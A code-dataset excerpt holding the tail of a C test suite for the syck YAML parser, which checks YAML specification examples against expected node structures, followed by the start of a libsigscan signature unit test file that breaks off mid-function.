prod1[] = { { T_STR, 0, "sku" }, { T_STR, 0, "BL394D" }, { T_STR, 0, "quantity" }, { T_STR, 0, "4" }, { T_STR, 0, "description" }, { T_STR, 0, "Basketball" }, { T_STR, 0, "price" }, { T_STR, 0, "450.00" }, end_node }; struct test_node prod2[] = { { T_STR, 0, "sku" }, { T_STR, 0, "BL4438H" }, { T_STR, 0, "quantity" }, { T_STR, 0, "1" }, { T_STR, 0, "description" }, { T_STR, 0, "Super Hoop" }, { T_STR, 0, "price" }, { T_STR, 0, "2392.00" }, end_node }; struct test_node products[] = { { T_MAP, 0, 0, prod1 }, { T_MAP, 0, 0, prod2 }, end_node }; struct test_node address[] = { { T_STR, 0, "lines" }, { T_STR, 0, "458 Walkman Dr.\nSuite #292\n" }, { T_STR, 0, "city" }, { T_STR, 0, "Royal Oak" }, { T_STR, 0, "state" }, { T_STR, 0, "MI" }, { T_STR, 0, "postal" }, { T_STR, 0, "48046" }, end_node }; struct test_node id001[] = { { T_STR, 0, "given" }, { T_STR, 0, "Chris" }, { T_STR, 0, "family" }, { T_STR, 0, "Dumars" }, { T_STR, 0, "address" }, { T_MAP, 0, 0, address }, end_node }; struct test_node map[] = { { T_STR, 0, "invoice" }, { T_STR, 0, "34843" }, { T_STR, 0, "date" }, { T_STR, 0, "2001-01-23" }, { T_STR, 0, "bill-to" }, { T_MAP, 0, 0, id001 }, { T_STR, 0, "ship-to" }, { T_MAP, 0, 0, id001 }, { T_STR, 0, "product" }, { T_SEQ, 0, 0, products }, { T_STR, 0, "tax" }, { T_STR, 0, "251.42" }, { T_STR, 0, "total" }, { T_STR, 0, "4443.52" }, { T_STR, 0, "comments" }, { T_STR, 0, "Late afternoon is best. Backup contact is Nancy Billsmer @ 338-4338.\n" }, end_node }; struct test_node stream[] = { { T_MAP, "tag:clarkevans.com,2002:invoice", 0, map }, end_node }; CuStreamCompare( tc, /* YAML document */ "--- !clarkevans.com,2002/^invoice\n" "invoice: 34843\n" "date : 2001-01-23\n" "bill-to: &id001\n" " given : Chris\n" " family : Dumars\n" " address:\n" " lines: |\n" " 458 Walkman Dr.\n" " Suite #292\n" " city : Royal Oak\n" " state : MI\n" " postal : 48046\n" "ship-to: *id001\n" "product:\n" " - sku : BL394D\n" " quantity : 4\n" " description : Basketball\n" " price : 450.00\n" " - sku : BL4438H\n" " quantity : 1\n" " description : Super Hoop\n" " price : 2392.00\n" "tax : 251.42\n" "total: 4443.52\n" "comments: >\n" " Late afternoon is best.\n" " Backup contact is Nancy\n" " Billsmer @ 338-4338.\n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example 2.28: Log file */ void YtsSpecificationExamples_28( CuTest *tc ) { struct test_node map1[] = { { T_STR, 0, "Time" }, { T_STR, 0, "2001-11-23 15:01:42 -05:00" }, { T_STR, 0, "User" }, { T_STR, 0, "ed" }, { T_STR, 0, "Warning" }, { T_STR, 0, "This is an error message for the log file\n" }, end_node }; struct test_node map2[] = { { T_STR, 0, "Time" }, { T_STR, 0, "2001-11-23 15:02:31 -05:00" }, { T_STR, 0, "User" }, { T_STR, 0, "ed" }, { T_STR, 0, "Warning" }, { T_STR, 0, "A slightly different error message.\n" }, end_node }; struct test_node file1[] = { { T_STR, 0, "file" }, { T_STR, 0, "TopClass.py" }, { T_STR, 0, "line" }, { T_STR, 0, "23" }, { T_STR, 0, "code" }, { T_STR, 0, "x = MoreObject(\"345\\n\")\n" }, end_node }; struct test_node file2[] = { { T_STR, 0, "file" }, { T_STR, 0, "MoreClass.py" }, { T_STR, 0, "line" }, { T_STR, 0, "58" }, { T_STR, 0, "code" }, { T_STR, 0, "foo = bar" }, end_node }; struct test_node stack[] = { { T_MAP, 0, 0, file1 }, { T_MAP, 0, 0, file2 }, end_node }; struct test_node map3[] = { { T_STR, 0, "Date" }, { T_STR, 0, "2001-11-23 15:03:17 -05:00" }, { T_STR, 0, "User" }, { T_STR, 0, "ed" }, { T_STR, 0, "Fatal" }, { T_STR, 0, "Unknown variable \"bar\"\n" }, { T_STR, 0, "Stack" }, { T_SEQ, 0, 0, stack }, end_node }; struct test_node stream[] = { { T_MAP, 0, 0, map1 }, { T_MAP, 0, 0, map2 }, { T_MAP, 0, 0, map3 }, end_node }; CuStreamCompare( tc, /* YAML document */ "---\n" "Time: 2001-11-23 15:01:42 -05:00\n" "User: ed\n" "Warning: >\n" " This is an error message\n" " for the log file\n" "---\n" "Time: 2001-11-23 15:02:31 -05:00\n" "User: ed\n" "Warning: >\n" " A slightly different error\n" " message.\n" "---\n" "Date: 2001-11-23 15:03:17 -05:00\n" "User: ed\n" "Fatal: >\n" " Unknown variable \"bar\"\n" "Stack:\n" " - file: TopClass.py\n" " line: 23\n" " code: |\n" " x = MoreObject(\"345\\n\")\n" " - file: MoreClass.py\n" " line: 58\n" " code: |-\n" " foo = bar\n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example : Throwaway comments */ void YtsSpecificationExamples_29( CuTest *tc ) { struct test_node map[] = { { T_STR, 0, "this" }, { T_STR, 0, "contains three lines of text.\nThe third one starts with a\n# character. This isn't a comment.\n" }, end_node }; struct test_node stream[] = { { T_MAP, 0, 0, map }, end_node }; CuStreamCompare( tc, /* YAML document */ "### These are four throwaway comment ### \n" "\n" "### lines (the second line is empty). ### \n" "this: | # Comments may trail lines.\n" " contains three lines of text.\n" " The third one starts with a\n" " # character. This isn't a comment.\n" "\n" "# These are three throwaway comment\n" "# lines (the first line is empty).\n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example : Document with a single value */ void YtsSpecificationExamples_30( CuTest *tc ) { struct test_node stream[] = { { T_STR, 0, "This YAML stream contains a single text value. The next stream is a log file - a sequence of log entries. Adding an entry to the log is a simple matter of appending it at the end.\n" }, end_node }; CuStreamCompare( tc, /* YAML document */ "--- > \n" "This YAML stream contains a single text value.\n" "The next stream is a log file - a sequence of\n" "log entries. Adding an entry to the log is a\n" "simple matter of appending it at the end.\n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example : Document stream */ void YtsSpecificationExamples_31( CuTest *tc ) { struct test_node map1[] = { { T_STR, 0, "at" }, { T_STR, 0, "2001-08-12 09:25:00.00 Z" }, { T_STR, 0, "type" }, { T_STR, 0, "GET" }, { T_STR, 0, "HTTP" }, { T_STR, 0, "1.0" }, { T_STR, 0, "url" }, { T_STR, 0, "/index.html" }, end_node }; struct test_node map2[] = { { T_STR, 0, "at" }, { T_STR, 0, "2001-08-12 09:25:10.00 Z" }, { T_STR, 0, "type" }, { T_STR, 0, "GET" }, { T_STR, 0, "HTTP" }, { T_STR, 0, "1.0" }, { T_STR, 0, "url" }, { T_STR, 0, "/toc.html" }, end_node }; struct test_node stream[] = { { T_MAP, 0, 0, map1 }, { T_MAP, 0, 0, map2 }, end_node }; CuStreamCompare( tc, /* YAML document */ "--- \n" "at: 2001-08-12 09:25:00.00 Z \n" "type: GET \n" "HTTP: '1.0' \n" "url: '/index.html' \n" "--- \n" "at: 2001-08-12 09:25:10.00 Z \n" "type: GET \n" "HTTP: '1.0' \n" "url: '/toc.html' \n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example : Top level mapping */ void YtsSpecificationExamples_32( CuTest *tc ) { struct test_node map[] = { { T_STR, 0, "invoice" }, { T_STR, 0, "34843" }, { T_STR, 0, "date" }, { T_STR, 0, "2001-01-23" }, { T_STR, 0, "total" }, { T_STR, 0, "4443.52" }, end_node }; struct test_node stream[] = { { T_MAP, 0, 0, map }, end_node }; CuStreamCompare( tc, /* YAML document */ "# This stream is an example of a top-level mapping. \n" "invoice : 34843 \n" "date : 2001-01-23 \n" "total : 4443.52 \n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example : Single-line documents */ void YtsSpecificationExamples_33( CuTest *tc ) { struct test_node map[] = { end_node }; struct test_node seq[] = { end_node }; struct test_node stream[] = { { T_MAP, 0, 0, map }, { T_SEQ, 0, 0, seq }, { T_STR, 0, "" }, end_node }; CuStreamCompare( tc, /* YAML document */ "# The following is a sequence of three documents. \n" "# The first contains an empty mapping, the second \n" "# an empty sequence, and the last an empty string. \n" "--- {} \n" "--- [ ] \n" "--- '' \n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example : Document with pause */ void YtsSpecificationExamples_34( CuTest *tc ) { struct test_node map1[] = { { T_STR, 0, "sent at" }, { T_STR, 0, "2002-06-06 11:46:25.10 Z" }, { T_STR, 0, "payload" }, { T_STR, 0, "Whatever" }, end_node }; struct test_node map2[] = { { T_STR, 0, "sent at" }, { T_STR, 0, "2002-06-06 12:05:53.47 Z" }, { T_STR, 0, "payload" }, { T_STR, 0, "Whatever" }, end_node }; struct test_node stream[] = { { T_MAP, 0, 0, map1 }, { T_MAP, 0, 0, map2 }, end_node }; CuStreamCompare( tc, /* YAML document */ "# A communication channel based on a YAML stream. \n" "--- \n" "sent at: 2002-06-06 11:46:25.10 Z \n" "payload: Whatever \n" "# Receiver can process this as soon as the following is sent: \n" "... \n" "# Even if the next message is sent long after: \n" "--- \n" "sent at: 2002-06-06 12:05:53.47 Z \n" "payload: Whatever \n" "... \n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example : Explicit typing */ void YtsSpecificationExamples_35( CuTest *tc ) { struct test_node map[] = { { T_STR, 0, "integer" }, { T_STR, "tag:yaml.org,2002:int", "12" }, { T_STR, 0, "also int" }, { T_STR, "tag:yaml.org,2002:int", "12" }, { T_STR, 0, "string" }, { T_STR, "tag:yaml.org,2002:str", "12" }, end_node }; struct test_node stream[] = { { T_MAP, 0, 0, map }, end_node }; CuStreamCompare( tc, /* YAML document */ "integer: 12 \n" "also int: ! \"12\" \n" "string: !str 12 \n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example : Private types */ void YtsSpecificationExamples_36( CuTest *tc ) { struct test_node pool[] = { { T_STR, 0, "number" }, { T_STR, 0, "8" }, { T_STR, 0, "color" }, { T_STR, 0, "black" }, end_node }; struct test_node map1[] = { { T_STR, 0, "pool" }, { T_MAP, "x-private:ball", 0, pool }, end_node }; struct test_node bearing[] = { { T_STR, 0, "material" }, { T_STR, 0, "steel" }, end_node }; struct test_node map2[] = { { T_STR, 0, "bearing" }, { T_MAP, "x-private:ball", 0, bearing }, end_node }; struct test_node stream[] = { { T_MAP, 0, 0, map1 }, { T_MAP, 0, 0, map2 }, end_node }; CuStreamCompare( tc, /* YAML document */ "# Both examples below make use of the 'x-private:ball' \n" "# type family URI, but with different semantics. \n" "--- \n" "pool: !!ball \n" " number: 8 \n" " color: black \n" "--- \n" "bearing: !!ball \n" " material: steel \n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example : Type family under yaml.org */ void YtsSpecificationExamples_37( CuTest *tc ) { struct test_node seq[] = { { T_STR, "tag:yaml.org,2002:str", "a Unicode string" }, end_node }; struct test_node stream[] = { { T_SEQ, 0, 0, seq }, end_node }; CuStreamCompare( tc, /* YAML document */ "# The URI is 'tag:yaml.org,2002:str' \n" "- !str a Unicode string \n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example : Type family under perl.yaml.org */ void YtsSpecificationExamples_38( CuTest *tc ) { struct test_node map[] = { end_node }; struct test_node seq[] = { { T_MAP, "tag:perl.yaml.org,2002:Text::Tabs", 0, map }, end_node }; struct test_node stream[] = { { T_SEQ, 0, 0, seq }, end_node }; CuStreamCompare( tc, /* YAML document */ "# The URI is 'tag:perl.yaml.org,2002:Text::Tabs' \n" "- !perl/Text::Tabs {} \n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example : Type family under clarkevans.com */ void YtsSpecificationExamples_39( CuTest *tc ) { struct test_node map[] = { end_node }; struct test_node seq[] = { { T_MAP, "tag:clarkevans.com,2003-02:timesheet", 0, map }, end_node }; struct test_node stream[] = { { T_SEQ, 0, 0, seq }, end_node }; CuStreamCompare( tc, /* YAML document */ "# The URI is 'tag:clarkevans.com,2003-02:timesheet' \n" "- !clarkevans.com,2003-02/timesheet {}\n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example : URI Escaping */ void YtsSpecificationExamples_40( CuTest *tc ) { struct test_node same[] = { { T_STR, "tag:domain.tld,2002:type0", "value" }, { T_STR, "tag:domain.tld,2002:type0", "value" }, end_node }; struct test_node diff[] = { { T_STR, "tag:domain.tld,2002:type%30", "value" }, { T_STR, "tag:domain.tld,2002:type0", "value" }, end_node }; struct test_node map[] = { { T_STR, 0, "same" }, { T_SEQ, 0, 0, same }, { T_STR, 0, "different" }, { T_SEQ, 0, 0, diff }, end_node }; struct test_node stream[] = { { T_MAP, 0, 0, map }, end_node }; CuStreamCompare( tc, /* YAML document */ "same: \n" " - !domain.tld,2002/type\\x30 value\n" " - !domain.tld,2002/type0 value\n" "different: # As far as the YAML parser is concerned \n" " - !domain.tld,2002/type%30 value\n" " - !domain.tld,2002/type0 value\n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example : Overriding anchors */ void YtsSpecificationExamples_42( CuTest *tc ) { struct test_node map[] = { { T_STR, 0, "anchor" }, { T_STR, 0, "This scalar has an anchor." }, { T_STR, 0, "override" }, { T_STR, 0, "The alias node below is a repeated use of this value.\n" }, { T_STR, 0, "alias" }, { T_STR, 0, "The alias node below is a repeated use of this value.\n" }, end_node }; struct test_node stream[] = { { T_MAP, 0, 0, map }, end_node }; CuStreamCompare( tc, /* YAML document */ "anchor : &A001 This scalar has an anchor. \n" "override : &A001 >\n" " The alias node below is a\n" " repeated use of this value.\n" "alias : *A001\n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example : Flow and block formatting */ void YtsSpecificationExamples_43( CuTest *tc ) { struct test_node empty[] = { end_node }; struct test_node flow[] = { { T_STR, 0, "one" }, { T_STR, 0, "two" }, { T_STR, 0, "three" }, { T_STR, 0, "four" }, { T_STR, 0, "five" }, end_node }; struct test_node inblock[] = { { T_STR, 0, "Subordinate sequence entry" }, end_node }; struct test_node block[] = { { T_STR, 0, "First item in top sequence" }, { T_SEQ, 0, 0, inblock }, { T_STR, 0, "A folded sequence entry\n" }, { T_STR, 0, "Sixth item in top sequence" }, end_node }; struct test_node map[] = { { T_STR, 0, "empty" }, { T_SEQ, 0, 0, empty }, { T_STR, 0, "flow" }, { T_SEQ, 0, 0, flow }, { T_STR, 0, "block" }, { T_SEQ, 0, 0, block }, end_node }; struct test_node stream[] = { { T_MAP, 0, 0, map }, end_node }; CuStreamCompare( tc, /* YAML document */ "empty: [] \n" "flow: [ one, two, three # May span lines, \n" " , four, # indentation is \n" " five ] # mostly ignored. \n" "block: \n" " - First item in top sequence \n" " - \n" " - Subordinate sequence entry \n" " - > \n" " A folded sequence entry\n" " - Sixth item in top sequence \n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example : Literal combinations */ void YtsSpecificationExamples_47( CuTest *tc ) { struct test_node map[] = { { T_STR, 0, "empty" }, { T_STR, 0, "" }, { T_STR, 0, "literal" }, { T_STR, 0, "The \\ ' \" characters may be\nfreely used. Leading white\n space " "is significant.\n\nLine breaks are significant.\nThus this value contains one\n" "empty line and ends with a\nsingle line break, but does\nnot start with one.\n" }, { T_STR, 0, "is equal to" }, { T_STR, 0, "The \\ ' \" characters may be\nfreely used. Leading white\n space " "is significant.\n\nLine breaks are significant.\nThus this value contains one\n" "empty line and ends with a\nsingle line break, but does\nnot start with one.\n" }, { T_STR, 0, "indented and chomped" }, { T_STR, 0, " This has no newline." }, { T_STR, 0, "also written as" }, { T_STR, 0, " This has no newline." }, { T_STR, 0, "both are equal to" }, { T_STR, 0, " This has no newline." }, end_node }; struct test_node stream[] = { { T_MAP, 0, 0, map }, end_node }; CuStreamCompare( tc, /* YAML document */ "empty: |\n" "\n" "literal: |\n" " The \\ ' \" characters may be\n" " freely used. Leading white\n" " space is significant.\n" "\n" " Line breaks are significant.\n" " Thus this value contains one\n" " empty line and ends with a\n" " single line break, but does\n" " not start with one.\n" "\n" "is equal to: \"The \\\\ ' \\\" characters may \\\n" " be\\nfreely used. Leading white\\n space \\\n" " is significant.\\n\\nLine breaks are \\\n" " significant.\\nThus this value contains \\\n" " one\\nempty line and ends with a\\nsingle \\\n" " line break, but does\\nnot start with one.\\n\"\n" "\n" "# Comments may follow a block \n" "# scalar value. They must be \n" "# less indented. \n" "\n" "# Modifiers may be combined in any order.\n" "indented and chomped: |2-\n" " This has no newline.\n" "\n" "also written as: |-2\n" " This has no newline.\n" "\n" "both are equal to: \" This has no newline.\"\n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example : Timestamp */ void YtsSpecificationExamples_62( CuTest *tc ) { struct test_node map[] = { { T_STR, 0, "canonical" }, { T_STR, 0, "2001-12-15T02:59:43.1Z" }, { T_STR, 0, "valid iso8601" }, { T_STR, 0, "2001-12-14t21:59:43.10-05:00" }, { T_STR, 0, "space separated" }, { T_STR, 0, "2001-12-14 21:59:43.10 -05:00" }, { T_STR, 0, "date (noon UTC)" }, { T_STR, 0, "2002-12-14" }, end_node }; struct test_node stream[] = { { T_MAP, 0, 0, map }, end_node }; CuStreamCompare( tc, /* YAML document */ "canonical: 2001-12-15T02:59:43.1Z \n" "valid iso8601: 2001-12-14t21:59:43.10-05:00 \n" "space separated: 2001-12-14 21:59:43.10 -05:00 \n" "date (noon UTC): 2002-12-14 \n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } CuSuite * SyckGetSuite() { CuSuite *suite = CuSuiteNew(); SUITE_ADD_TEST( suite, YtsFoldedScalars_7 ); SUITE_ADD_TEST( suite, YtsNullsAndEmpties_0 ); SUITE_ADD_TEST( suite, YtsNullsAndEmpties_1 ); SUITE_ADD_TEST( suite, YtsNullsAndEmpties_2 ); SUITE_ADD_TEST( suite, YtsNullsAndEmpties_3 ); SUITE_ADD_TEST( suite, YtsNullsAndEmpties_4 ); SUITE_ADD_TEST( suite, YtsNullsAndEmpties_5 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_0 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_1 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_2 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_3 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_4 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_5 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_6 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_7 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_8 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_9 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_10 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_11 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_12 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_13 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_14 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_15 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_16 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_18 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_19 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_20 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_21 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_22 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_23 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_24 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_25 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_26 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_27 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_28 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_29 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_30 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_31 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_32 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_33 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_34 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_35 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_36 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_37 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_38 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_39 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_40 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_42 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_43 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_47 ); SUITE_ADD_TEST( suite, YtsSpecificationExamples_62 ); return suite; } int main(void) { CuString *output = CuStringNew(); CuSuite* suite = SyckGetSuite(); int count; CuSuiteRun(suite); CuSuiteSummary(suite, output); CuSuiteDetails(suite, output); printf("%s\n", output->buffer); count = suite->failCount; CuStringFree( output ); CuSuiteFree( suite ); return count; }
ystk/tools-yocto1-rpm
syck/tests/YTS.c
C
lgpl-2.1
56,537
/* * Library signature type test program * * Copyright (C) 2014-2022, Joachim Metz <joachim.metz@gmail.com> * * Refer to AUTHORS for acknowledgements. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. */ #include <common.h> #include <file_stream.h> #include <types.h> #if defined( HAVE_STDLIB_H ) || defined( WINAPI ) #include <stdlib.h> #endif #include "sigscan_test_libcerror.h" #include "sigscan_test_libsigscan.h" #include "sigscan_test_macros.h" #include "sigscan_test_memory.h" #include "sigscan_test_unused.h" #include "../libsigscan/libsigscan_signature.h" #if defined( __GNUC__ ) && !defined( LIBSIGSCAN_DLL_IMPORT ) /* Tests the libsigscan_signature_initialize function * Returns 1 if successful or 0 if not */ int sigscan_test_signature_initialize( void ) { libcerror_error_t *error = NULL; libsigscan_signature_t *signature = NULL; int result = 0; #if defined( HAVE_SIGSCAN_TEST_MEMORY ) int number_of_malloc_fail_tests = 1; int number_of_memset_fail_tests = 1; int test_number = 0; #endif /* Test regular cases */ result = libsigscan_signature_initialize( &signature, &error ); SIGSCAN_TEST_ASSERT_EQUAL_INT( "result", result, 1 ); SIGSCAN_TEST_ASSERT_IS_NOT_NULL( "signature", signature ); SIGSCAN_TEST_ASSERT_IS_NULL( "error", error ); result = libsigscan_signature_free( &signature, &error ); SIGSCAN_TEST_ASSERT_EQUAL_INT( "result", result, 1 ); SIGSCAN_TEST_ASSERT_IS_NULL( "signature", signature ); SIGSCAN_TEST_ASSERT_IS_NULL( "error", error ); /* Test error cases */ result = libsigscan_signature_initialize( NULL, &error ); SIGSCAN_TEST_ASSERT_EQUAL_INT( "result", result, -1 ); SIGSCAN_TEST_ASSERT_IS_NOT_NULL( "error", error ); libcerror_error_free( &error ); signature = (libsigscan_signature_t *) 0x12345678UL; result = libsigscan_signature_initialize( &signature, &error ); SIGSCAN_TEST_ASSERT_EQUAL_INT( "result", result, -1 ); SIGSCAN_TEST_ASSERT_IS_NOT_NULL( "error", error ); libcerror_error_free( &error ); signature = NULL; #if defined( HAVE_SIGSCAN_TEST_MEMORY ) for( test_number = 0; test_number < number_of_malloc_fail_tests; test_number++ ) { /* Test libsigscan_signature_initialize with malloc failing */ sigscan_test_malloc_attempts_before_fail = test_number; result = libsigscan_signature_initialize( &signature, &error ); if( sigscan_test_malloc_attempts_before_fail != -1 ) { sigscan_test_malloc_attempts_before_fail = -1; if( signature != NULL ) { libsigscan_signature_free( &signature, NULL ); } } else { SIGSCAN_TEST_ASSERT_EQUAL_INT( "result", result, -1 ); SIGSCAN_TEST_ASSERT_IS_NULL( "signature", signature ); SIGSCAN_TEST_ASSERT_IS_NOT_NULL( "error", error ); libcerror_error_free( &error ); } } for( test_number = 0; test_number < number_of_memset_fail_tests; test_number++ ) { /* Test libsigscan_signature_initialize with memset failing */ sigscan_test_memset_attempts_before_fail = test_number; result = libsigscan_signature_initialize( &signature, &error ); if( sigscan_test_memset_attempts_before_fail != -1 ) { sigscan_test_memset_attempts_before_fail = -1; if( signature != NULL ) { libsigscan_signature_free( &signature, NULL ); } } else { SIGSCAN_TEST_ASSERT_EQUAL_INT( "result", result, -1 ); SIGSCAN_TEST_ASSERT_IS_NULL( "signature", signature ); SIGSCAN_TEST_ASSERT_IS_NOT_NULL( "error", error ); libcerror_error_free( &error ); } } #endif /* defined( HAVE_SIGSCAN_TEST_MEMORY ) */ return( 1 ); on_error: if( error != NULL ) { libcerror_error_free( &error ); } if( signature != NULL ) { libsigscan_signature_free( &signature, NULL ); } return( 0 ); } /* Tests the libsigscan_signature_free function * Returns 1 if successful or 0 if not */ int sigscan_test_signature_free( void ) { libcerror_error_t *error = NULL; int result = 0; /* Test error cases */ result = libsigscan_signature_free( NULL, &error ); SIGSCAN_TEST_ASSERT_EQUAL_INT( "result", result, -1 ); SIGSCAN_TEST_ASSERT_IS_NOT_NULL( "error", error ); libcerror_error_free( &error ); return( 1 ); on_error: if( error != NULL ) { libcerror_error_free( &error ); } return( 0 ); } /* Tests the libsigscan_signature_clone function * Returns 1 if successful or 0 if not */ int sigscan_test_signature_clone( void ) { libcerror_error_t *error = NULL; libsigscan_signature_t *destination_signature = NULL; libsigscan_signature_t *source_signature = NULL; int result = 0; /* Initialize test */ result = libsigscan_signature_initialize( &source_signature, &error ); SIGSCAN_TEST_ASSERT_EQUAL_INT( "result", result, 1 ); SIGSCAN_TEST_ASSERT_IS_NOT_NULL( "source_signature", source_signature ); SIGSCAN_TEST_ASSERT_IS_NULL( "error", error ); /* Test regular cases */ result = libsigscan_signature_clone( &destination_signature, source_signature, &error ); SIGSCAN_TEST_ASSERT_EQUAL_INT( "result", result, 1 ); SIGSCAN_TEST_ASSERT_IS_NOT_NULL( "destination_signature", destination_signature ); SIGSCAN_TEST_ASSERT_IS_NULL( "error", error ); /* TODO: move handling clones into the signature code */ result = libsigscan_signature_free_clone( &destination_signature, &error ); SIGSCAN_TEST_ASSERT_EQUAL_INT( "result", result, 1 ); SIGSCAN_TEST_ASSERT_IS_NULL( "destination_signature", destination_signature ); SIGSCAN_TEST_ASSERT_IS_NULL( "error", error ); result = libsigscan_signature_clone( &destination_signature, NULL, &error ); SIGSCAN_TEST_ASSERT_EQUAL_INT( "result", result, 1 ); SIGSCAN_TEST_ASSERT_IS_NULL( "destination_signature", destination_signature ); SIGSCAN_TEST_ASSERT_IS_NULL( "error", error ); /* Test error cases */ result = libsigscan_signature_clone( NULL, source_signature, &error ); SIGSCAN_TEST_ASSERT_EQUAL_INT( "result", result, -1 ); SIGSCAN_TEST_ASSERT_IS_NOT_NULL( "error", error ); libcerror_error_free( &error ); /* Clean up */ result = libsigscan_signature_free( &source_signature, &error ); SIGSCAN_TEST_ASSERT_EQUAL_INT( "result", result, 1 ); SIGSCAN_TEST_ASSERT_IS_NULL( "source_signature", source_signature ); SIGSCAN_TEST_ASSERT_IS_NULL( "error", error ); return( 1 ); on_error: if( error != NULL ) { libcerror_error_free( &error ); } if( destination_signature != NULL ) { /* TODO: move handling clones into the signature code */ libsigscan_signature_free_clone( &destination_signature, NULL ); } if( source_signature != NULL ) { libsigscan_signature_free( &source_signature, NULL ); } return( 0 ); } /* Tests the libsigscan_signature_get_identifier_size function * Returns 1 if successful or 0 if not */ int sigscan_test_signature_get_identifier_size( void ) { libcerror_error_t *error = NULL; libsigscan_signature_t *signature = NULL; size_t identifier_size = 0; int identifier_size_is_set = 0; int result = 0; /* Initialize test */ result = libsigscan_signature_initialize( &signature, &error ); SIGSCAN_TEST_ASSERT_EQUAL_INT( "result", result, 1 ); SIGSCAN_TEST_ASSERT_IS_NOT_NULL( "signature", signature ); SIGSCAN_TEST_ASSERT_IS_NULL( "error", error ); /* Test regular cases */ result = libsigscan_signature_get_identifier_size( signature, &identifier_size, &error ); SIGSCAN_TEST_ASSERT_NOT_EQUAL_INT( "result", result, -1 ); SIGSCAN_TEST_ASSERT_IS_NULL( "error", error ); identifier_size_is_set = result; /* Test error cases */ result = libsigscan_signature_get_identifier_size( NULL, &identifier_size, &error ); SIGSCAN_TEST_ASSERT_EQUAL_INT( "result", result, -1 ); SIGSCAN_TEST_ASSERT_IS_NOT_NULL( "error", error ); libcerror_error_free( &error ); if( identifier_size_is_set != 0 ) { result = libsigscan_signature_get_identifier_size( signature, NULL, &error ); SIGSCAN_TEST_ASSERT_EQUAL_INT( "result", result, -1 ); SIGSCAN_TEST_ASSERT_IS_NOT_NULL( "error", error ); libcerror_error_free( &error ); } /* Clean up */ result = libsigscan_signature_free( &signature, &error ); SIGSCAN_TEST_ASSERT_EQUAL_INT( "result", result, 1 ); SIGSCAN_TEST_ASSERT_IS_NULL( "signature", signature ); SIGSCAN_TEST_ASSERT_IS_NULL( "error", error ); return( 1 ); on_error: if( error != NULL ) { libcerror_error_free( &error ); } if( signature != NULL ) { libsigscan_signature_free( &signature, NULL ); } return( 0 ); } #endif /* defined( __GNUC__ ) && !defined( LIBSIGSCAN_DLL_IMPORT ) */ /* The main program */ #if defined( HAVE_WIDE_SYSTEM_CHARACTER ) int wmain( int argc SIGSCAN_TEST_ATTRIBUTE_UNUSED, wchar_t * const argv[] SIGSCAN_TEST_ATTRIBUTE_UNUSED ) #else int 